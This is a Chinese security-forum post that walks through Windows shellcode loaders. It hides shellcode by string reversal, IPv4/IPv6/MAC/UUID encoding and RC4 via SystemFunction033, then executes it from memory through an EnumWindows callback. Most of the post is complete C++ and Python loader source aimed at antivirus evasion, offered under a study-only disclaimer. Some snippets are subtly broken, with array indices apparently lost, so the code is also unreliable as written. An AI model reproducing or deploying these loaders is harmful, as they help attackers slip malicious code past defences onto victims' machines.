安全矩阵

 找回密码
 立即注册
搜索
查看: 699|回复: 0

Shellcode encryption

[复制链接]

189

主题

191

帖子

903

积分

高级会员

Rank: 4

积分
903
发表于 2023-4-27 23:20:38 | 显示全部楼层 |阅读模式
本帖最后由 margin 于 2023-4-27 23:22 编辑

Shellcode encryption (qq.com)


前言

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。(本文仅用于交流学习)

反转字符串

将字符串整个反转,然后再加载的时候从尾部进行加载,我们可以利用python来进行反转

import sys

if(len(sys.argv) != 2):
    print("usage:\n python3 \"asdasd\"")
else:
    str = sys.argv[1]
    str = str[::-1]
    print(str)

先申请一个内存空间,然后利用下面的循环从尾部开始读取,然后赋值给temp

char* temp = (char*)VirtualAllocEx(GetCurrentProcess(), NULL, memory_allocation, MEM_COMMIT, PAGE_READWRITE);

    for (int i = strlen(buf1) - 1; i >= 0; i--)
    {
        temp[p++] = buf1;
    }
#include <windows.h>
#include <iostream>

using namespace std;

int main(int argc, char* argv[]) {

    char buf1[] = "";
    unsigned int char_in_hex;

    unsigned int iterations = strlen(buf1);
    unsigned int memory_allocation = strlen(buf1) / 2;
    int p = 0;
    char* temp = (char*)VirtualAllocEx(GetCurrentProcess(), NULL, memory_allocation, MEM_COMMIT, PAGE_READWRITE);

    for (int i = strlen(buf1) - 1; i >= 0; i--)
    {
        temp[p++] = buf1;
    }

    char* buf = (char*)temp;

    for (int i = 0; i < iterations - 1; i++) {
        sscanf_s(buf + 2 * i, "%2X", &char_in_hex);
        buf = (char)char_in_hex;
    }

    LPVOID Address = VirtualAllocEx(GetCurrentProcess(), NULL, memory_allocation, MEM_COMMIT, PAGE_READWRITE);
    memcpy(Address, buf, memory_allocation);

    DWORD pflOldProtect = 0;
    VirtualProtectEx(GetCurrentProcess(), Address, memory_allocation, PAGE_EXECUTE, &pflOldProtect);

    EnumWindows((WNDENUMPROC)Address, NULL);

    return 0;
}

IPV4内存加载

IPv4是一种无连接的协议,操作在使用分组交换的链路层(如以太网)上。此协议会尽最大努力交付数据包,意即它不保证任何数据包均能送达目的地,也不保证所有数据包均按照正确的顺序无重复地到达。 IPv4使用32位(4字节)地址,因此地址空间中只有4,294,967,296(232)个地址。 我们可以利用RtlIpv4AddressToStringA函数将shellcode转换为ipv4的地址,然后利用RtlIpv4StringToAddressA函数将其转换回去,执行我们的代码

RtlIpv4AddressToStringA

函数将 IPv4 地址转换为 Internet 标准点十进制格式的字符串。

NTSYSAPI PSTR RtlIpv4AddressToStringA(
  [in]  const in_addr *Addr,
  [out] PSTR          S
);

第一个参数就是我们需要转换的数据,第二个参数就是用于存储转换后的数据,这里我用c++写的(网上用的是python写的)

#include <windows.h>
#include <ip2string.h>
#include <iostream>

#pragma comment(lib, "ntdll.lib")
using namespace std;

int main(int argc, char* argv[]) {
    char buf[] = "";
    char* p = buf;
    char ip_str[sizeof(buf)];
    cout << "const char* buf[] = {";
    for (int i = 0; i <= (sizeof(buf) - 1) / 4; i++) {
        RtlIpv4AddressToStringA((const IN_ADDR*)&(*p), ip_str);
        p += 4;
        if (i == (sizeof(buf) - 1) / 4) {
            cout << "\"" << ip_str << "\"";
        }
        else {
            cout << "\"" << ip_str << "\",";
        }
    }
    cout << "};";

    return 0;
}

RtlIpv4StringToAddressA

将 IPv4 地址的字符串表示形式转换为二进制 IPv4 地址

NTSYSAPI NTSTATUS RtlIpv4StringToAddressA(
  [in]  PCSTR   S,
  [in]  BOOLEAN Strict,
  [out] PCSTR   *Terminator,
  [out] in_addr *Addr
);

第一个参数就是接收需要转换的字符,二三个参数填默认即可,第四个参数是一个指针,其中存储 IPv4 地址的二进制表示形式。 代码逻辑也很简单,首先申请一块内存地址,然后for循环RtlIpv4StringToAddressA函数对其进行转换,最后更改前面申请的内存区域的内存保护常量

#include <windows.h>
#include <ip2string.h>
#include <iostream>

#pragma comment(lib, "ntdll.lib")
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
using namespace std;

int main() {
    const char* buf[] = { 0 };
    PCSTR lTerminator = NULL;
    DWORD pflOldProtect = 0;
    LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_READWRITE);

    DWORD_PTR ptr = (DWORD_PTR)alloc_mem;
    int init = sizeof(buf) / sizeof(buf[0]);
    for (int i = 0; i < init; i++) {
        RPC_STATUS STATUS = RtlIpv4StringToAddressA((PCSTR)buf, FALSE, &lTerminator, (in_addr*)ptr);
        if (!NT_SUCCESS(STATUS)) {
            printf("[!] RtlIpv6StringToAddressA failed in %s result %x (%u)", buf, STATUS, GetLastError());
            return FALSE;
        }
        ptr += 4;
    }
    VirtualProtect(alloc_mem, sizeof(buf), PAGE_EXECUTE, &pflOldProtect);
    EnumWindows((WNDENUMPROC)alloc_mem, NULL);
    return 0;
}

IPV6内存加载

IPv6是英文“Internet Protocol Version 6”(互联网协议第6版)的缩写,是互联网工程任务组(IETF)设计的用于替代IPv4的下一代IP协议,其地址数量号称可以为全世界的每一粒沙子编上一个地址 [1] 。 这里是用的冒分十六进制 格式为X:X:X:X:X:X:X:X,其中每个X表示地址中的16b,以十六进制表示,例如: ABCD:EF01:2345:6789:ABCD:EF01:2345:6789

和上面IPV4差不多只是函数变换了

#include <windows.h>
#include <ip2string.h>
#include <iostream>

#pragma comment(lib, "ntdll.lib")
using namespace std;

int main(int argc, char* argv[]) {
    char buf[] = "";

    char* p = buf;
    char ip_str[sizeof(buf)];
    cout << "const char* buf[] = {";
    for (int i = 0; i <= (sizeof(buf) - 1) / 16; i++) {
        RtlIpv6AddressToStringA((const in6_addr*)&(*p), ip_str);
        p += 16;
        if (i == (sizeof(buf) - 1) / 16) {
            cout << "\"" << ip_str << "\"";
        }
        else {
            cout << "\"" << ip_str << "\",";
        }
    }
    cout << "};";

    return 0;
}

我们可以使用如下进行加载执行

#include <windows.h>
#include <ip2string.h>
#include <iostream>

#pragma comment(lib, "ntdll.lib")
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
using namespace std;

int main() {
    const char* buf[] = { 0 };
    PCSTR lTerminator = NULL;
    DWORD pflOldProtect = 0;
    LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(buf)*16, MEM_COMMIT, PAGE_READWRITE);

    DWORD_PTR ptr = (DWORD_PTR)alloc_mem;
    int init = sizeof(buf) / sizeof(buf[0]);
    for (int i = 0; i < init; i++) {
        RPC_STATUS STATUS = RtlIpv6StringToAddressA((PCSTR)buf, &lTerminator, (in6_addr*)ptr);
        if (!NT_SUCCESS(STATUS)) {
            printf("[!] RtlIpv6StringToAddressA failed in %s result %x (%u)", buf, STATUS, GetLastError());
            return FALSE;
        }
        ptr += 16;
    }
    VirtualProtect(alloc_mem, sizeof(buf) * 16, PAGE_EXECUTE, &pflOldProtect);
    cout << sizeof(buf) * 16 << endl;
    EnumWindows((WNDENUMPROC)alloc_mem, NULL);
    return 0;
}

MAC实现内存加载

MAC地址也叫物理地址、硬件地址,由网络设备制造商生产时烧录在网卡的EPROM一种闪存芯片,通常可以通过程序擦写。IP地址与MAC地址在计算机里都是以二进制表示的,IP地址是32位的,而MAC地址则是48位(6个字节)。

RtlEthernetAddressToStringANTSYSAPI PSTR RtlEthernetAddressToStringA(
  [in]  const DL_EUI48 *Addr,
  [out] PSTR           S
);

第一个参数二进制格式的以太网地址,第二个参数用于存储以太网地址的NULL终止字符串表示形式,大小应足以容纳至少 18 个字符。 和上面的差不多啊,因此加密代码也较为简单,但是需要注意 6个字节转换一个mac值,\x00是一个字节,当使用该函数后6个字节会变成18-1(\x00)个字节,即17个字节,当剩余字节数不满6个需要添加\x00补充字节数,必须将全部的shellcode全部转化为mac值

#include <windows.h>
#include <ip2string.h>
#include <iostream>

#pragma comment(lib, "ntdll.lib")
using namespace std;

int main(int argc, char* argv[]) {
    char buf[] = "";
    char* p = buf;
    char ip_str[sizeof(buf)];
    cout << "const char* buf[] = {";
    for (int i = 0; i <= (sizeof(buf) - 1) / 6; i++) {
        RtlEthernetAddressToStringA((const DL_EUI48*)&(*p), ip_str);
        p += 6;
        if (i == (sizeof(buf) - 1) / 6) {
            cout << "\"" << ip_str << "\"";
        }
        else {
            cout << "\"" << ip_str << "\",";
        }
    }
    cout << "};";

    return 0;
}

RtlEthernetStringToAddressA

我们使用此函数将MAC值从字符串形式转为二进制格式

NTSYSAPI NTSTATUS RtlEthernetStringToAddressA(
  [in]  PCSTR    S,
  [out] PCSTR    *Terminator,
  [out] DL_EUI48 *Addr
);

第一个参数接收需要转换的数据,第二个参数用于接收指向终止转换字符串的字符的指针,第三个参数用于存储以太网 MAC 地址的二进制表示形式。

代码加载的思路也很简单,先申请一块内存空间,然后循环RtlEthernetStringToAddressA函数对其进行转换,最后修改内存保护常量。

#include <windows.h>
#include <ip2string.h>
#include <iostream>

#pragma comment(lib, "ntdll.lib")
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
using namespace std;

int main() {
    const char* buf[] = { 0 };
    PCSTR lTerminator = NULL;
    DWORD pflOldProtect = 0;
    LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(buf)*6, MEM_COMMIT, PAGE_READWRITE);

    DWORD_PTR ptr = (DWORD_PTR)alloc_mem;
    int init = sizeof(buf) / sizeof(buf[0]);
    for (int i = 0; i < init; i++) {
        RPC_STATUS STATUS = RtlEthernetStringToAddressA((PCSTR)buf, &lTerminator, (DL_EUI48*)ptr);
        if (!NT_SUCCESS(STATUS)) {
            printf("[!] RtlEthernetStringToAddressA failed in %s result %x (%u)", buf, STATUS, GetLastError());
            return FALSE;
        }
        ptr += 6;
    }
    VirtualProtect(alloc_mem, sizeof(buf)*6, PAGE_EXECUTE, &pflOldProtect);
    EnumWindows((WNDENUMPROC)alloc_mem, NULL);
    return 0;
}
UUID实现内存加载

通用唯一识别码(UUID),是用于计算机体系中以识别信息数目的一个128位标识符,根据标准方法生成,不依赖中央机构的注册和分配,UUID具有唯一性。

python中有UUID的模块

import uuid

buf = b""
list = []

for i in range(len(buf)//16):
    b = uuid.UUID(bytes_le=buf[i*16:16+i*16])
    list.append(str(b))
print(str(list).replace("'", "\"").replace("[","{").replace("]","}") + ";")

UuidFromStringA

我们可以使用此函数将其写入执行

RPC_STATUS UuidFromStringA(
  RPC_CSTR StringUuid,
  UUID     *Uuid
);

第一个参数指向UUID的字符串表示形式的指针,第二个参数以二进制形式返回指向UUID的指针。

逻辑也是很简单

#include <windows.h>
#include <iostream>

#pragma comment(lib, "Rpcrt4.lib")
#define NT_SUCCESS(Status) (((NTSTATUS)(Status)) >= 0)
using namespace std;

int main() {
    const char* buf[] = { 0 };
    PCSTR lTerminator = NULL;
    DWORD pflOldProtect = 0;
    LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(buf) * 16, MEM_COMMIT, PAGE_READWRITE);

    DWORD_PTR ptr = (DWORD_PTR)alloc_mem;
    int init = sizeof(buf) / sizeof(buf[0]);
    for (int i = 0; i < init; i++) {
        RPC_STATUS STATUS = UuidFromStringA((RPC_CSTR)buf, (UUID*)ptr);
        if (!NT_SUCCESS(STATUS)) {
            printf("[!] RtlEthernetStringToAddressA failed in %s result %x (%u)", buf, STATUS, GetLastError());
            return FALSE;
        }
        ptr += 16;
    }
    VirtualProtect(alloc_mem, sizeof(buf)*16, PAGE_EXECUTE, &pflOldProtect);
    EnumWindows((WNDENUMPROC)alloc_mem, NULL);
    return 0;
}

SystemFunction033

这个函数能够通过RC4加密方式对内存区域进行加密/解密

函数原型

struct ustring {
    DWORD Length;
    DWORD MaximumLength;
    PUCHAR Buffer;
} _data, key;

typedef NTSTATUS(WINAPI* _SystemFunction033)(
    struct ustring* memoryRegion,
    struct ustring* keyPointer
);

加密实现

#include "function.h"

int main() {
    char _key[] = "asadsasdasasd";

    unsigned char buf[] = { 0 };
    key.Buffer = (PUCHAR)(&_key);
    key.Length = sizeof(key);

    _data.Buffer = (PUCHAR)buf;
    _data.Length = sizeof(buf);

    SystemFunction033(&_data, &key);
    printf("unsigned char buf[] = {");
    for (int i = 0; i < _data.Length; i++) {
        if (i == _data.Length - 1) {
            printf("0x%02x", _data.Buffer);
        }
        else
        {
            printf("0x%02x, ", _data.Buffer);
        }
    }
    printf("};");
}

后面可以SystemFunction033进行解密然后执行(具体分析可以看参考链接)

#include "function.h"

int main() {
    DWORD pflOldProtect = 0;
    char _key[] = "alphaBetagamma";

    unsigned char buf[] = { 0 };
    key.Buffer = (PUCHAR)(&_key);
    key.Length = sizeof(key);

    _data.Buffer = (PUCHAR)buf;
    _data.Length = sizeof(buf);

    SystemFunction033(&_data, &key);
    LPVOID alloc_mem = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_READWRITE);
    memcpy(alloc_mem, buf, sizeof(buf));
    VirtualProtect(alloc_mem, sizeof(buf), PAGE_EXECUTE_READWRITE, &pflOldProtect);
    EnumWindows((WNDENUMPROC)alloc_mem, NULL);
}

参考

https://learn.microsoft.com/zh-cn/windows/win32/api/ip2string/nf-ip2string-rtlipv6addresstostringa https://learn.microsoft.com/zh-c ... dce-uuidfromstringa https://osandamalith.com/2022/11 ... temfunction032-033/

若有侵权请联系删除

回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2024-11-28 18:35 , Processed in 0.014982 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表